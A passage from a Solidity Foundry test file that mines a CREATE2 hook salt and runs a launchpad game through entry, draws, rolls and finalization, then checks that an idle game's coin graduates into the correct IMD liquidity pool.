        router.add(imdKey, 68 ether);
        bytes32 h = liq.hookInitCodeHash();
        bytes32 salt;
        for (uint256 i; i < 300_000; ++i) {
            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h)))));
            if (uint160(a) & 0x3FFF == 0x2000) {
                salt = bytes32(i);
                break;
            }
        }
        vm.prank(OWNER);
        pad.openPad(salt);
        pvp = PadGame(pad.gameOf(1));
    }

    function test_untouchedGameStillGraduatesIntoCoinImdPoolOnHealthyVenue() public {
        address p = address(0xA1);
        vm.deal(p, 1 ether);
        vm.prank(p);
        pvp.enter{value: 0.001 ether}();
        vm.warp(vm.getBlockTimestamp() + 10 minutes);
        arb.advance(2400);
        pvp.draw(32);
        arb.advance(4);
        while (!pvp.drawComplete()) pvp.draw(32);
        vm.prank(p);
        pvp.roll{value: 0.002 ether}();
        vm.warp(pvp.endTime() + 1);
        arb.advance(300);
        while (pvp.pendingCount() != 0) pvp.resolvePending(16);
        pvp.finalize();
        assertGt(pvp.ethRaised(), 0);
        (,,,,, bool started,) = liq.conversions(address(pvp));
        assertFalse(started, "no escrow yet: nobody touched the game");
        // Nobody calls anything for 24 hours, then the pad's lifecycle work resumes.
        vm.warp(uint256(pvp.finalizedAt()) + 24 hours);
        arb.advance(4 * 24 hours);
        for (uint256 i; i < 10 && !pvp.graduated(); ++i) {
            pvp.poke();
            vm.warp(vm.getBlockTimestamp() + 30);
        }
        assertTrue(pvp.graduated(), "graduated");
        (, uint256 converted, uint256 received,,,,) = liq.conversions(address(pvp));
        emit log_named_uint("converted ETH", converted);
        emit log_named_uint("IMD received", received);
        assertTrue(liq.imdPool(pad.tokenOf(1)), "coin graduated into a native pool although the IMD venue is healthy");
    }
}